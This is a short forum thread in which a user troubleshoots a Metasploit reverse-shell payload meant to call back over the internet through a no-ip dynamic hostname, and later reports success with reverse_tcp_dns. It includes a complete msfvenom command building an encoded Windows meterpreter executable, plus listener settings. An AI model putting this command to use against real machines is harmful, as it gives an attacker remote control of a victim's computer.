Results 1 to 2 of 2

Thread: How can I create a persistence payload over WAN

  1. #1
    Join Date
    2016-Sep
    Posts
    12

    Exclamation How can I create a persistence payload over WAN

    So I want to be able to create a persistence payload over WAN, the problem with that ofcourse is that the public ip address gets updated like everyday (at least mine does);
    so I tried to create a hostname on no-ip, and when creating the payload I used this command:
    Code:
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=<MYHOSTNAMEONNO-IP> LPORT=4444 <and yes I already portforwarded that> -f exe > payload.exe
    and then on the listener I set the LHOST to that hostname and then set ReverseLisnterBindAddress to 192.168.1.10 <my internal ip address;
    which the port is being forwarded to> and after I entered exploit and then launched the payload nothing happened, so I tried to just set the LHOST to the HOSTNAME and unset the ReverseListenerBindAddress so it started the handler on 127.0.0.1:4444;
    after that I tried to open the payload but that didnt work either; Finally I tried setting the LHOST to 192.168.1.10 and unset the ReverseListenerBindAddress and launch the payload but again, nothing happened.

    Any suggestions on what I could do?
    -thanks!

  2. #2
    Join Date
    2016-Sep
    Posts
    12
    I found a solution, instead of using the windows/meterpreter/reverse_tcp payload I used reverse_tcp_dns and changed the host on noip to use ddns.net and in the listener I set the lhost to my internal ip address and it worked!

Similar Threads

  1. create a payload undetectable
    By Lancha in forum General Archive
    Replies: 11
    Last Post: 2014-01-31, 16:47
  2. setoolkit - Create Payload and Listener Option fails
    By daves in forum General Archive
    Replies: 7
    Last Post: 2013-11-01, 14:44

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •